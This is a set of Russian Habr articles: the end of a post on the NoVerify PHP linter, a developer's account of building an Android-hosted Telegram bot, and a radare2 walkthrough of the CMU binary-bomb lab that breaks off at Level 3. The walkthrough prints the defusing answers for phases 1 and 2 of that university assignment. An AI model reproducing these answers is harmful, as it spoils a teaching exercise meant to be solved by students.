Не зная сигнатуру функции exec, нельзя сказать, будут ли определены $out и $retval. Сигнатуры встроенных функций можно взять из репозитория [github.com/JetBrains/phpstorm-stubs](https://github.com/JetBrains/phpstorm-stubs). Но те же проблемы будут при вызове пользовательских функций, а их сигнатуру можно узнать, только проиндексировав весь проект. Функция exec принимает второй и третий аргументы по ссылке, а значит переменные $out и $retval могут быть определены. Здесь обращение к этим переменным — не обязательно ошибка, и линтер не должен ругаться на такой код.
Аналогичные проблемы с неявной передачей по ссылке возникают с методами, но заодно добавляется необходимость выводить типы переменных:
```
php
if (rand()) {
$a = some_func();
} else {
$a = other_func();
}
$a-some_method($b);
echo $b;
```
Мы должны знать, какие типы возвращают функции some\_func() и other\_func(), чтобы потом найти метод под названием some\_method в этих классах. Только тогда сможем сказать, будет переменная $b определена или нет. Ситуацию осложняет то, что зачастую у простых функций и методов нет phpdoc-аннотаций, поэтому нужно ещё уметь вычислять типы функций и методов, исходя из их реализации.
При разработке прототипа пришлось реализовать примерно половину всей функциональности, чтобы простейшая инспекция заработала как надо.
Работа в качестве language server
---------------------------------
Чтобы было легче отлаживать логику линтера и проще видеть предупреждения, которые он выдаёт, мы решили добавить режим работы в качестве [language server для PHP](https://github.com/Microsoft/language-server-protocol/blob/master/versions/protocol-2-x.md). В режиме интеграции с Visual Studio Code это выглядит примерно так:
В таком режиме удобно тестировать гипотезы и проверять сложные случаи (после этого надо написать тесты, конечно). Также хорошо тестировать производительность: даже на больших файлах php-parser на Go показывает неплохую скорость работы.
Поддержка language server далека от идеала, поскольку её основное предназначение — отладка правил линтера. Тем не менее в этом режиме есть несколько дополнительных возможностей:
1. Подсказки для имён переменных, констант, функций, свойств и методов.
2. Подсветка выведенных типов переменных.
3. Переход к определению.
4. Поиск использований.
«Ленивый» вывод типов
---------------------
В режиме language server требуется, чтобы работало следующее: вы меняете код в одном файле, и потом, когда переключаетесь на другой, должны работать с уже обновлённой информацией о том, какие типы возвращаются в функциях или методах. Представьте, что файлы редактируются в такой последовательности:
```
php
// Файл A.php, версия 1
class A {
/** @var int */
public $prop;
}
// Файл B.php, не меняется
class B {
public static function something() {
$obj = new A;
return $obj-prop;
}
}
// Файл C.php, не меняется
$c = B::something();
// $c имеет тип int
// Файл A.php, версия 2
class A {
/** @var string <--- теперь тут string */
public $prop;
}
// Файл C.php, не меняется
$c = B::something();
// $c это теперь string, хотя ни B.php, ни C.php не менялись
```
Учитывая, что мы не заставляем разработчиков всегда писать PHPDoc (особенно в таких простых случаях), нужен способ хранить информацию о том, какой тип возвращает функция B::something(). Чтобы, когда изменится файл A.php, в файле C.php информация о типах сразу была актуальной.
Одно из возможных решений — хранить «ленивые типы». Например, тип возвращаемого значения у метода B::something() на самом деле представляет собой тип выражения (new A)->prop. В таком виде линтер и хранит информацию о типе, и благодаря этому можно закешировать всю метаинформацию по каждому файлу и обновлять её, только когда этот файл изменится. Делать это нужно осторожно, чтобы нигде случайно не просочилась слишком конкретная информация о типах. Ещё необходимо изменять версию кеша, когда меняется логика вывода типов. Тем не менее такой кеш ускоряет фазу индексации (о которой расскажу позже) в 5−10 раз по сравнению с повторным парсингом всех файлов.
Две фазы работы: индексация и анализ
------------------------------------
Как мы помним, даже для простейшего анализа кода требуется информация как минимум обо всех функциях и методах в проекте. Это означает, что нельзя проанализировать только один файл отдельно от проекта. И ещё — что это невозможно сделать за один проход: например, PHP позволяет обращаться к функциям, которые объявлены дальше в файле.
Из-за этих ограничений работа линтера состоит из двух фаз: первичная индексация и последующий анализ только нужных файлов. Теперь подробнее об этих двух фазах.
### Фаза индексации
В этой фазе парсятся все файлы и делается локальный анализ кода методов и функций, а также кода на верхнем уровне (например, для определения типов глобальных переменных). Собирается информация об объявленных глобальных переменных, константах, функциях, классах и их методах и записывается в кеш. Для каждого файла в проекте кеш представляет собой отдельный файл на диске.
Из отдельных кусочков составляется глобальный словарь всей метаинформации о проекте, которая в дальнейшем уже не меняется\*.
*\*Кроме режима работы в качестве language server, когда на каждую правку проводится индексация и анализ измененного файла.*
### Фаза анализа
В этой фазе мы можем пользоваться метаинформацией (о функциях, классах…) и уже непосредственно анализировать код. Вот список того, что по умолчанию умеет проверять NoVerify:
* недостижимый код;
* обращение к объектам, как к массиву;
* недостаточное количество аргументов при вызове функции;
* вызов неопределенного метода/функции;
* доступ к отсутствующему свойству класса/константе;
* отсутствие класса;
* неверный PHPDoc;
* обращение к неопределённой переменной;
* обращение к переменной, которая не всегда определена;
* отсутствие «break;» после case в конструкциях switch/case;
* ошибка синтаксиса;
* неиспользуемая переменная.
Список довольно короткий, но можно добавлять проверки, специфичные для вашего проекта.
В процессе эксплуатации линтера оказалось, что самая полезная инспекция как раз последняя (неиспользуемая переменная). Такое часто бывает, когда вы рефакторили код (или писали новый) и опечатались в названии переменной: этот код является валидным с точки зрения PHP, но ошибочным по логике.
Скорость работы
---------------
Сколько времени проверяются изменения, которые мы хотим запушить? Всё зависит от количества файлов. С NoVerify процесс может занимать до минуты (так было, когда я изменил 1400 файлов в репозитории), но если правок было немного, то обычно все проверки проходят за 4−5 секунд. За это время происходит полная индексация проекта, парсинг новых файлов, а также их анализ. У нас вполне получилось создать линтер для PHP, который работает быстро даже с нашей большой кодовой базой.
Что же в итоге?
---------------
Поскольку решение написано на Go, то требуется использовать репозиторий [github.com/JetBrains/phpstorm-stubs](https://github.com/JetBrains/phpstorm-stubs), чтобы иметь определения всех встроенных в PHP функций и классов. Взамен мы получили высокую скорость работы (индексация 1 миллиона строк в секунду, анализ 100 тысяч строк в секунду) и смогли добавить проверки линтером в качестве одного из первых шагов в хуках для git push.
Была разработана удобная база для создания новых инспекций и достигнут уровень понимания кода, близкий к PHPStorm. Благодаря тому, что из коробки поддерживается режим работы с подсчётом диффа, есть возможность постепенно улучшать код, не допуская новых потенциально проблемных конструкций в новом коде.
Подсчет диффа не идеален: например, если один большой файл был разнесен на несколько мелких, то git, а следовательно и NoVerify, не смогут определить, что код был перемещен, и линтер будет требовать исправления всех найденных проблем. В этом плане подсчет диффа мешает проводить крупный рефакторинг, поэтому в таких случаях его зачастую отключают.
Написание линтера на Go имеет ещё одно преимущество: не только AST-парсер работает быстрее и потребляет меньше памяти, чем на PHP, но и последующий анализ тоже очень шустрый по сравнению с чем угодно, что можно было бы сделать на PHP. Это значит, что наш линтер может проводить более сложный и глубокий анализ кода, сохраняя при этом высокую производительность (например, фича «ленивые типы» требует выполнения довольно большого количества вычислений в процессе работы).
Open-source
-----------
[NoVerify доступен в open-source на GitHub](https://github.com/VKCOM/noverify)
Приятного использования в вашем проекте!
**UPD:** Я подготовил [демо, которое работает через WebAssembly](https://yuriynasretdinov.github.io/noverify/). Единственное ограничение этой демки — отсутствие определений функций из phpstorm-stubs, поэтому на встроенные функции линтер будет ругаться.
*Юрий Насретдинов, разработчик отдела инфраструктуры ВКонтакте* | https://habr.com/ru/post/442284/ | null | ru | null |
# Запускаем Telegram-бота на Android устройстве (Remote Bot for Telegram)
Четыре месяца назад у меня появилась идея написать Telegram-бота, который будет запускаться не на внешнем сервере, как большинство ботов, а на мобильном телефоне.
Идея родилась не на пустом месте: я часто пропускал входящие звонки и СМС, когда телефон был в куртке или в кармане, поэтому мне нужен был дополнительный способ уведомлений. А так как я активно использую Telegram на компьютере, то подумал, что было бы не плохо, если бы входящие СМС и пропущенные звонки приходили в Telegram. Немного покопавшись, я решил написать бота.
Разработка прототипа
--------------------
Я стал изучать тему создания Telegram ботов по [официальной документации](https://core.telegram.org/bots/api) и по примерам. В основном все примеры были написаны на Python. Поэтому не долго думая, стал искать способы запуска Python сервера на Android. Но оценив время на изучение Python и не найдя ничего подходящего для запуска сервера, занялся поиском альтернатив и наткнулся на несколько библиотек на Java для написания Telegram ботов. В итоге остановился на проекте от Pengrad: [java-telegram-bot-api](https://github.com/pengrad/java-telegram-bot-api).
Данная библиотека позволяла, на тот момент, инициализировать бота и получать-отправлять сообщения, что мне было и нужно. Добавив библиотеку в свой проект, я реализовал простой сервис, который запускал в фоновом потоке цикл по получению сообщений из Telegram и их обработке. Предварительно необходимо было зарегистрировать нового бота через родительский бот @Botfather и получить его токен. Подробнее о создании бота [по ссылке](https://core.telegram.org/bots#creating-a-new-bot).
Для того, чтобы сервис не убивался системой, когда устройство находится с выключенным экраном, при запуске сервиса, устанавливался WakeLock.
Приведу в пример функцию, позволяющую получать последние сообщения и отправлять их на обработку:
**private void getUpdates(final TelegramBot bot)**
```
private void getUpdates(final TelegramBot bot) {
try {
GetUpdatesResponse response = bot.execute(
new GetUpdates()
.limit(LIMIT)
.offset(updateId.get())
.timeout(LONG_POLLING_TIMEOUT));
if (response != null && response.updates() != null && response.updates().size() > 0) {
for (Update update : response.updates()) {
obtainUpdate(bot, update);
updateId.set(update.updateId() + 1);
}
}
} catch (Exception e) {
ErrorUtils.log(TAG, e);
}
}
```
Позже, в целях безопасности, я добавил возможность привязки бота к разрешенным Telegram-аккаунтам и возможность запрета выполнения определенных команд для заданных пользователей.
Добавив несколько команд для бота, такие как: отправка, чтение СМС, просмотр пропущенных звонков, информация о батарее, определение местоположения и др., я опубликовал приложение в Google Play, создал темы на нескольких форумах, стал ждать комментарии и отзывы.
В основном отзывы были хорошие, но вскрылась проблема большого расхода батареи, что, как вы могли догадаться, было связано с WakeLock и постоянной активностью сервиса.Немного погуглив, решил периодически запускать сервис через AlarmManager, затем после получения сообщений и ответа на них сервис останавливать.
Это немного помогло, но появилась другая проблема, AlarmManager некорректно работал на некоторых китайских устройствах. И поэтому бот иногда не просыпался после нескольких часов, проведенных в состоянии сна. Изучая официальную документацию, я читал о том, что Long Polling это не единственная возможность получения сообщений, сообщения еще можно было получать используя Webhook.
Получение сообщений через Webhook
---------------------------------
Я зарегистрировался на [Digital Ocean](https://www.digitalocean.com/), создал VPS на Ubuntu, затем реализовал простейший http сервер на Java, использующий [Spark Framework](http://sparkjava.com/). На сервер можно делать запросы 2 типов: push (отправка пуш-уведомления через webhook) и ping.
Пуш-нотификации отправлялись с помощью Google Firebase.
**Пример класса, помогающего отправить пуш-уведомления**
```
public class PushHelper {
private static final String URL = "https://fcm.googleapis.com/fcm/send";
private static java.util.logging.Logger log = java.util.logging.Logger.getLogger(PushHelper.class.getName());
private static final MediaType JSON = MediaType.parse("application/json; charset=utf-8");
private static final String AUTHORIZATION = "...";
public static String push(PushRequest pushRequest) throws IOException {
ObjectMapper objectMapper = new ObjectMapper();
return post(URL, objectMapper.writeValueAsString(pushRequest));
}
private static String post(String url, String json) throws IOException {
RequestBody body = RequestBody.create(JSON, json);
Request request = new Request.Builder()
.url(url)
.header("Authorization", AUTHORIZATION)
.post(body)
.build();
OkHttpClient client = getSslClient();
if (client != null) {
Response response = client.newCall(request).execute();
return response.body().string();
} else {
throw new IOException("Unable to init okhttp client");
}
}
...
}
```
**Модель запроса, необходимого для отправки пуш-нотификации**
```
public class PushRequest {
private PushData data; //Данные, отправляемые на устройство
private String to; //Пуш-токен устройства
private String priority = "high"; //Приоритет сообщения
...
}
```
Для того, чтобы сообщение приходило даже когда устройство находится в состоянии сна, нужно указать priority = «high»
### Генерация SSL сертификата
Протестировав отправку пуш-уведомлений, я стал разбираться с тем, как настроить и запустить сервер с HTTPS, так как это одно из требований при получении сообщений из Telegram через webhook.
Бесплатный сертификат можно сгенерировать с помощью сервиса [letsencrypt.org](https://letsencrypt.org), но одним из ограничений является то, что указываемый хост при генерации сертификата не может быть ip адресом. Регистрировать доменное имя я пока не хотел, тем более официальная документация Telegram Bot API [разрешает](https://core.telegram.org/bots/self-signed) использование самоподписанных сертификатов, поэтому я стал разбираться, как создать свой сертификат.
После нескольких часов, проведенных в попытках и поисках, получился скрипт, позволяющий сгенерировать нужный сертификат.
**create\_cert.sh**
```
openssl req -newkey rsa:2048 -sha256 -nodes -keyout private.key -x509 -days 365 -out public_cert.pem -subj "/C=RU/ST=State/L=Location/O=Organization/CN=ServerHost"
openssl pkcs12 -export -in public_cert.pem -inkey private.key -certfile public_cert.pem -out keystore.p12
keytool -importkeystore -srckeystore keystore.p12 -srcstoretype pkcs12 -sigalg SHA1withRSA -destkeystore keystore.jks -deststoretype JKS
rm keystore.p12
rm private.key
```
После запуска скрипта, на выходе получаем два файла: keystore.jks — используется на сервере, public\_cert.pem — используется при установке webhook в Android приложении.
Для того, чтобы запустить HTTPS на Spark Framework достаточно добавить 2 строки, одну указывающую порт (разрешенные порты для webhook: 443, 80, 88, 8443), другую, указывающую сгенерированный сертификат и пароль к нему:
```
port(8443);
secure("keystore.jks", "password", null, null);
```
Чтобы установить webhook для бота, необходимо добавить в андроид-приложение следующие строки:
```
SetWebhook setWebHook = new SetWebhook().url(WEBHOOK_URL + "/" + pushToken + "/" + secret).certificate(getCert(context));
BaseResponse res = bot.execute(setWebHook);
```
При регистрации webhook, в качестве URL указывается адрес webhook, затем передается пуш-токен, необходимый для отправки пуш-уведомлений и секретный ключ, генерируемый на устройстве, который я добавил для дополнительной проверки входящих уведомлений.
Функция чтения публичного сертификата из RAW ресурса:
```
private static byte[] getCert(Context context) throws IOException {
return IOUtils.toByteArray(context.getResources().openRawResource(R.raw.public_cert));
}
```
После модификации сервиса по обработке сообщений в Android приложении, бот стал расходовать батарею намного меньше, но и добавилась зависимость работы приложения от сервера пуш-нотификаций, что было необходимостью для стабильной работы приложения.
Автоматическое создание бота
----------------------------
После обновления механизма получения сообщений, осталась еще одна проблема, которая не позволяла пользоваться приложением некоторому проценту пользователей из-за сложности создания бота через BotFather. Поэтому я решил автоматизировать этот процесс.
В этом мне помогла библиотека [tdlib](https://core.telegram.org/tdlib) от создателей Telegram. К сожалению, я нашел очень мало примеров использования этой библиотеки, но разобравшись в API, оказалось, что не так все сложно. В итоге удалось реализовать авторизацию в Telegram по номеру телефона, добавление @Botfather в список контактов и отправку и получение сообщений заданному контакту, а в конкретном случае, боту @Botfather.
**Пример функций по отправке-получении сообщений**
```
private Observable sendMessage(long chatId, String text) {
return Observable.create(subscriber -> {
telegramClient.sendMessage(chatId, text, object -> {
if (object instanceof TdApi.Error) {
subscriber.onError(new Throwable(((TdApi.Error) object).message));
} else {
TdApi.Message message = (TdApi.Message) object;
subscriber.onNext(message);
}
});
}).delay(5, TimeUnit.SECONDS).flatMap(msg -> getLastIncomingMessage(((TdApi.Message) msg).chatId, ((TdApi.Message) msg).senderUserId, ((TdApi.Message) msg).id));
}
private Observable getLastIncomingMessage(long chatId, int userId, int outgoingMessageId) {
return Observable.create(subscriber -> {
telegramClient.getLastIncomingMessage(chatId, outgoingMessageId, userId, object -> {
if (object instanceof TdApi.Error) {
subscriber.onError(new Throwable(((TdApi.Error) object).message));
} else {
TdApi.Message message = (TdApi.Message) object;
subscriber.onNext(message);
}
});
});
}
```
**TelegramClient.java - класс-обертка над TdApi**
```
public class TelegramClient {
private final Client client;
public TelegramClient(Context context, Client.ResultHandler updatesHandler) {
TG.setDir(context.getCacheDir().getAbsolutePath());
TG.setFilesDir(context.getFilesDir().getAbsolutePath());
client = TG.getClientInstance();
TG.setUpdatesHandler(updatesHandler);
}
public void clearAuth(Client.ResultHandler resultHandler) {
TdApi.ResetAuth request = new TdApi.ResetAuth(true);
client.send(request, resultHandler);
}
public void getAuthState(Client.ResultHandler resultHandler) {
TdApi.GetAuthState req = new TdApi.GetAuthState();
client.send(req, resultHandler);
}
public void sendPhone(String phone, Client.ResultHandler resultHandler) {
TdApi.SetAuthPhoneNumber smsSender = new TdApi.SetAuthPhoneNumber(phone, false, true);
client.send(smsSender, resultHandler);
}
public void checkCode(String code, String firstName, String lastName, Client.ResultHandler resultHandler) {
TdApi.CheckAuthCode request = new TdApi.CheckAuthCode(code, firstName, lastName);
client.send(request, resultHandler);
}
public void sendMessage(long chatId, String text, Client.ResultHandler resultHandler) {
TdApi.InputMessageContent msg = new TdApi.InputMessageText(text, false, false, null, null);
TdApi.SendMessage request = new TdApi.SendMessage(chatId, 0, false, false, null, msg);
client.send(request, resultHandler);
}
public void getLastIncomingMessage(long chatId, int fromMessageId, int userId, Client.ResultHandler resultHandler) {
getChat(chatId, chatObj -> {
if (chatObj instanceof TdApi.Chat) {
TdApi.GetChatHistory getChatHistory = new TdApi.GetChatHistory(chatId, fromMessageId, -1, 2);
client.send(getChatHistory, messagesObj -> {
if (messagesObj instanceof TdApi.Messages) {
TdApi.Messages messages = (TdApi.Messages) messagesObj;
if (messages.totalCount > 0) {
for (TdApi.Message message : messages.messages) {
if (message.id != fromMessageId && message.senderUserId != userId) {
resultHandler.onResult(message);
return;
}
}
}
resultHandler.onResult(new TdApi.Error(0, "Unable to get incoming message"));
} else resultHandler.onResult(messagesObj);
});
} else resultHandler.onResult(chatObj);
});
}
public void getChat(long chatId, Client.ResultHandler resultHandler) {
TdApi.GetChat getChat = new TdApi.GetChat(chatId);
client.send(getChat, resultHandler);
}
public void searchContact(String username, Client.ResultHandler resultHandler) {
TdApi.SearchPublicChat searchContacts = new TdApi.SearchPublicChat(username);
client.send(searchContacts, resultHandler);
}
public void getMe(Client.ResultHandler resultHandler) {
client.send(new TdApi.GetMe(), resultHandler);
}
public void changeUsername(String username, Client.ResultHandler resultHandler) {
client.send(new TdApi.ChangeUsername(username), resultHandler);
}
public void startChatWithBot(int botUserId, long chatId, Client.ResultHandler resultHandler) {
TdApi.CloseChat closeChat = new TdApi.CloseChat(chatId);
client.send(closeChat, resClose -> {
TdApi.OpenChat openChat = new TdApi.OpenChat(chatId);
client.send(openChat, resOpen -> {
if (resOpen instanceof TdApi.Error) {
resultHandler.onResult(resOpen);
return;
}
TdApi.SendBotStartMessage request = new TdApi.SendBotStartMessage(botUserId, chatId, "/start");
client.send(request, resultHandler);
});
});
}
public void logout(Client.ResultHandler resultHandler) {
client.send(new TdApi.ResetAuth(false), resultHandler);
}
}
```
Добавление новых возможностей
-----------------------------
После решения первостепенных проблем с автономностью, я занялся добавлением новых команд.
В итоге были добавлены такие команды как: фото, запись видео, диктофон, скриншот экрана, управление плеером, запуск избранных приложений и т.д. Для удобного запуска команд, добавил Telegram-клавиатуру и разбил команды по категориям.
По просьбам пользователей, я также добавил возможность вызова команд Tasker и отправки сообщений из Tasker в Telegram.
После этого я задумался о том, что неплохо бы добавить внешний доступ из сторонних приложений для оправки сообщений в Telegram. Сообщения могут быть как текстовыми, так и включать в себя аудио, видео, местоположение по координатам. В итоге, я написал библиотеку, которую можно добавить в свой проект.
→ [Библиотека](https://github.com/AlexanderShtanko/Remote-Bot-for-Telegram-External-Api)
→ [Пример использования](https://github.com/AlexanderShtanko/Remote-Bot-for-Telegram-External-Api-Example)
Заключение
----------
В этой статье я постарался поделиться краткой историей работы над проектом по созданию бота, работающего на Android устройстве и трудностями, с которыми я столкнулся. Сейчас я занимаюсь проектом в свободное от работы время, добавляю новые команды и исправляю возникающие ошибки.
Большое спасибо за внимание. Буду рад услышать от Вас полезные замечания и предложения.
*Ссылки:*
→ [Приложение в Google Play](https://play.google.com/store/apps/details?id=com.alexandershtanko.androidtelegrambot)
→ [Канал в Telegram](https://telegram.me/rembofort)
→ [Сайт проекта](https://remote-bot.com/) | https://habr.com/ru/post/318882/ | null | ru | null |
# Обезвреживаем бомбу с Radare2
Доброго времени суток, %username%! Сегодня мы отправимся изучать бесчисленные возможности фреймворка для реверсера — radare2. В виде подопытного я взял первую попавшую бомбу, она оказалась с [сайта](http://csapp.cs.cmu.edu/3e/bomb.tar) Университета Карнеги Меллон.
**Хэши**Т.к. бинарник может поменяться оставлю на всякий случай хэшсуммы:
md5sum: 1f38d04188a1d08f95d8c302f5361e9f
sha1sum: 31022a4baa524f6275209f7424c616226bc9814b
sha256sum: 8849e033691d51426c0c91a76eeb0c346eddd37e8fdf21cd93acd16669f1b461
### О чем вообще речь?
[Radare2](https://en.wikipedia.org/wiki/Radare2)(aka r2) — [опенсорсный](https://github.com/radare/radare2) кроссплатформенный фреймворк, для исследования бинарных файлов(изначально, к слову, hex-редактор). Главным конкурентом оного является небезызвестная IDA Ильфака, но, увы, для студента она дороговата, а бесплатная версия с x86-64 не дружит. А еще радар вроде как [круче](http://rada.re/r/cmp.html).
Бинарная бомба или просто бомба — исполняемый файл для обучения, который получает некое количество строк, и, в случае, если все строки проходят проверки, поздравляет с этим юного аналитика. Это так называемые уровни или фазы, у нас их целых 6.
### Еще немного про фреймворк
Radare2, как уже было сказано, именно фреймворк, а не просто дизассемблер. Он включает кучу различных тулз вроде дебаггера, hex-редактора, компилятора, поиска [ROP](https://en.wikipedia.org/wiki/Return-oriented_programming)-гаджетов и много чего другого. Для не любителей консоли у него также имеется два сыроватых фронтенда это WebUI(`$ r2 -c "=H" file`) и [Bokken](http://www.bokken.re/).
Мануал как обычно есть в man, а также для каждой команды путем добавления после нее "?". Например, «pd?» выдаст описания команд, начинающихся на pd.
Немного ссылок по теме:
* [Офф. сайт](http://www.radare.org/r/)
* [Бесплатная книжка](https://github.com/radare/radare2book)
* [Гитхаб](https://github.com/radare/radare2)
* [Блог](http://radare.today/)
* [Cheatsheet](https://github.com/pwntester/cheatsheets/blob/master/radare2.md). **UPD:** и еще [один](https://github.com/radare/radare2book/blob/master/refcard/radare2_rc.pdf) в пдф
* [Migration guide для закоренелых идеров](https://github.com/radare/radare2/wiki/Migration-from-ida-or-gdb)
* [IRC-канал на Freenode](http://irc://irc.freenode.net/#radare)
### Here we go!
Помимо самого исполняемого файла нам любезно предоставили файл с исходными кодами. Однако все, что там есть — инициализация ввода, вызов фаз, и забавные комментарии. Остальные функции вытягиваются из соответствующих хэдеров, которых у нас нет.
**Тот самый файл и он достаточно большой**
```
/***************************************************************************
* Dr. Evil's Insidious Bomb, Version 1.1
* Copyright 2011, Dr. Evil Incorporated. All rights reserved.
*
* LICENSE:
*
* Dr. Evil Incorporated (the PERPETRATOR) hereby grants you (the
* VICTIM) explicit permission to use this bomb (the BOMB). This is a
* time limited license, which expires on the death of the VICTIM.
* The PERPETRATOR takes no responsibility for damage, frustration,
* insanity, bug-eyes, carpal-tunnel syndrome, loss of sleep, or other
* harm to the VICTIM. Unless the PERPETRATOR wants to take credit,
* that is. The VICTIM may not distribute this bomb source code to
* any enemies of the PERPETRATOR. No VICTIM may debug,
* reverse-engineer, run "strings" on, decompile, decrypt, or use any
* other technique to gain knowledge of and defuse the BOMB. BOMB
* proof clothing may not be worn when handling this program. The
* PERPETRATOR will not apologize for the PERPETRATOR's poor sense of
* humor. This license is null and void where the BOMB is prohibited
* by law.
***************************************************************************/
#include
#include
#include "support.h"
#include "phases.h"
/\*
\* Note to self: Remember to erase this file so my victims will have no
\* idea what is going on, and so they will all blow up in a
\* spectaculary fiendish explosion. -- Dr. Evil
\*/
FILE \*infile;
int main(int argc, char \*argv[])
{
char \*input;
/\* Note to self: remember to port this bomb to Windows and put a
\* fantastic GUI on it. \*/
/\* When run with no arguments, the bomb reads its input lines
\* from standard input. \*/
if (argc == 1) {
infile = stdin;
}
/\* When run with one argument , the bomb reads from
\* until EOF, and then switches to standard input. Thus, as you
\* defuse each phase, you can add its defusing string to and
\* avoid having to retype it. \*/
else if (argc == 2) {
if (!(infile = fopen(argv[1], "r"))) {
printf("%s: Error: Couldn't open %s\n", argv[0], argv[1]);
exit(8);
}
}
/\* You can't call the bomb with more than 1 command line argument. \*/
else {
printf("Usage: %s []\n", argv[0]);
exit(8);
}
/\* Do all sorts of secret stuff that makes the bomb harder to defuse. \*/
initialize\_bomb();
printf("Welcome to my fiendish little bomb. You have 6 phases with\n");
printf("which to blow yourself up. Have a nice day!\n");
/\* Hmm... Six phases must be more secure than one phase! \*/
input = read\_line(); /\* Get input \*/
phase\_1(input); /\* Run the phase \*/
phase\_defused(); /\* Drat! They figured it out!
\* Let me know how they did it. \*/
printf("Phase 1 defused. How about the next one?\n");
/\* The second phase is harder. No one will ever figure out
\* how to defuse this... \*/
input = read\_line();
phase\_2(input);
phase\_defused();
printf("That's number 2. Keep going!\n");
/\* I guess this is too easy so far. Some more complex code will
\* confuse people. \*/
input = read\_line();
phase\_3(input);
phase\_defused();
printf("Halfway there!\n");
/\* Oh yeah? Well, how good is your math? Try on this saucy problem! \*/
input = read\_line();
phase\_4(input);
phase\_defused();
printf("So you got that one. Try this one.\n");
/\* Round and 'round in memory we go, where we stop, the bomb blows! \*/
input = read\_line();
phase\_5(input);
phase\_defused();
printf("Good work! On to the next...\n");
/\* This phase will never be used, since no one will get past the
\* earlier ones. But just in case, make this one extra hard. \*/
input = read\_line();
phase\_6(input);
phase\_defused();
/\* Wow, they got it! But isn't something... missing? Perhaps
\* something they overlooked? Mua ha ha ha ha! \*/
return 0;
}
```
После запуска r2 он встречает нас случайной фразой. Затем он ставит текущий указатель на [entry-point](https://en.wikipedia.org/wiki/Entry_point) и ждет команды. Флажок **-А** при открытии файла сразу же его анализирует.
Тоже самое можно сделать блоком команд начинающихся, на **a**), к примеру **afl** — достает из бинарника список функций. **~** — аналог grep-a(фильтра). Поищем у него наши функции.
```
$ r2 -A bomb
-- In soviet Afghanistan, you debug radare2!
[0x00400c90]> afl~phase
0x00400ee0 28 3 sym.phase_1
0x004015c4 149 8 sym.phase_defused
0x00400efc 71 8 sym.phase_2
0x00400f43 139 8 sym.phase_3
0x0040100c 86 7 sym.phase_4
0x00401062 146 9 sym.phase_5
0x004010f4 272 26 sym.phase_6
0x00401242 81 5 sym.secret_phase
```
### Level 1
Чудесно, все функции из исходника на месте, а заодно еще и нашли секретную фазу. Давайте наконец посмотрим содержимое первого уровня. Сделать это можно, сместив указатель на определенный адрес функции, а затем вывести нужное количество опкодов для дизассемблирования.
```
[0x00400c90]> s 0x00400ee0 # В данном случае 's' - не обязательно
[0x00400ee0]> pd 8 # дизассемблировать 8 опкодов от текущего смещения
```
Т.к. вывод r2 из коробки просто прекрасен, то для наглядности ради буду ассемблерные листинги постить в виде картинок.
Обратите внимание, что радар снабдил нас XREF-ами(то откуда может быть передано управление) с мнемониками прыжка. Кроме того, подставил строку по указанному адресу и самое главное — показал в виде ascii-стрелок переходы в блоке.
**Для сравнения вывод с objdump**
```
0000000000400ee0 :
400ee0: 48 83 ec 08 sub rsp,0x8
400ee4: be 00 24 40 00 mov esi,0x402400
400ee9: e8 4a 04 00 00 call 401338
400eee: 85 c0 test eax,eax
400ef0: 74 05 je 400ef7
400ef2: e8 43 05 00 00 call 40143a
400ef7: 48 83 c4 08 add rsp,0x8
400efb: c3 ret retq
```
Даже не вникая, становится ясно, что первая необходимая нам строка — «Border relations with Canada have never been better.». И само собой, при скармливании ее бомбе, она, пускает нас на вторую фазу.
```
$ ./bomb
Welcome to my fiendish little bomb. You have 6 phases with
which to blow yourself up. Have a nice day!
Border relations with Canada have never been better.
Phase 1 defused. How about the next one?
```
### Level 2
Второй вариант вывода дизассемблированной функции — с помощью абсолютной адресации/меток. На примере второй фазы — это будет выглядеть так:
```
[0x00400ee0]> pdf @ 0x00400efc
```
либо, если адрес не известен:
```
[0x00400ee0]> pdf @ sym.phase_2
```
Конечная цель у нас — не взорвать бомбу, т.е. не делать вызовов **call sym.explode\_bomb**, так что от этого и будем отталкиваться. Следовательно, у нас всегда должны срабатывать оба прыжка je.
Первое, что стоит у нас на пути — вызов **call sym.read\_six\_numbers**. Соответственно после этого вызова на верху стека должна быть единица. Посмотрим, что происходит в этой функции.
Раньше r2 разбирал файлы на функции основываясь на опкоде **ret**, что нередко приводило к выводу нескольких функций(например, при наличии системных вызовов exit()). В подобных случаях, когда радар неправильно определяет функции можно сделать это вручную.
```
[0x00400ee0]> s 0x0040149e # двигаем указатель на опкод после конца
[0x0040149e]> af+ sym.read_six_numbers `?vi $$-sym.read_six_numbers` rsn # Определение функции rsn, начинающейся с метки sym.read_six_numbers до текущего указателя.
```
Кстати, в этом примере использовалась другая команда как аргумент первой с помощью парных скобок**``**.
В самой функции не происходит ничего интересного, она из считанной строки достает 6 чисел и записывает их по порядку в переданный указатель. Затем убеждается, что чисел больше 5.
В Си бы это выглядело примерно так:
```
void read_six_numbers(char *str, long long *p) {
if (sscanf(str, "%d %d %d %d %d %d", p, p+1, p+2, p+3, p+4, p+5) <= 5)
explode_bomb();
}
```
Вернемся к нашей функции **phase\_2**. Указатель на массив передается указатель на вершину стека(**mov rsi, rsp**). Следовательно, первое число в строке должно быть — 1.
Как вы могли заметить там достаточно много переходов. Пользователь IDA скорей всего нажал бы пробел и посмотрел граф переходов. Вы не поверите, но тут они тоже есть. Подобно vim тут есть visual-mode (команда **V**) и в нем присутствует тот самый граф переходов, тоже по команде **V**(либо сразу **VV**). Выход из каждого мода — **q**
**На выводе будет вот такой милый ASCII граф**
Отображается он прекрасно, с минимум пересечений(по сравнению с прошлыми версиями). Подвигать это чудо можно стрелками, либо vim-like **'hjkl'**. Если же вам не нравится расположение блоков их также можно двигать хоткеями **Shift+'hjkl'**. При этом двигается выбранный блок(синий), выбрать его можно **Tab**/**Shift-Tab**.
В первом блоке в **rbx** записывается указатель на второе число, а в **rbp** — на конец массива чисел. И управление перекидывается на цикл, в котором попарно сравниваются соседние числа.
```
mov eax, dword [rbx - 4] ; Положить предыдущее число в eax
add eax, eax ; Удвоить его
cmp dword [rbx], eax ; Сравнить с текущим
je 0x400f25 ; Продолжить цикл, если равны
call sym.explode_bomb ; Взорвать бомбу, если не равны
add rbx, 4 ; Сдвинуть указатель на следующее число
cmp rbx, rbp ; Проверить, в конце ли мы массива
jne 0x400f17 ; Если нет, то вернутся в начало
jmp 0x400f3c ; Завершить цикл
```
Получается, что нам нужно ввести последовательность степеней двойки от 1 до 32. Отлично, но все-таки проверим, что это то, что нужно.
```
$ ./bomb
...
Phase 1 defused. How about the next one?
1 2 4 8 16 32
That's number 2. Keep going!
```
### Level 3
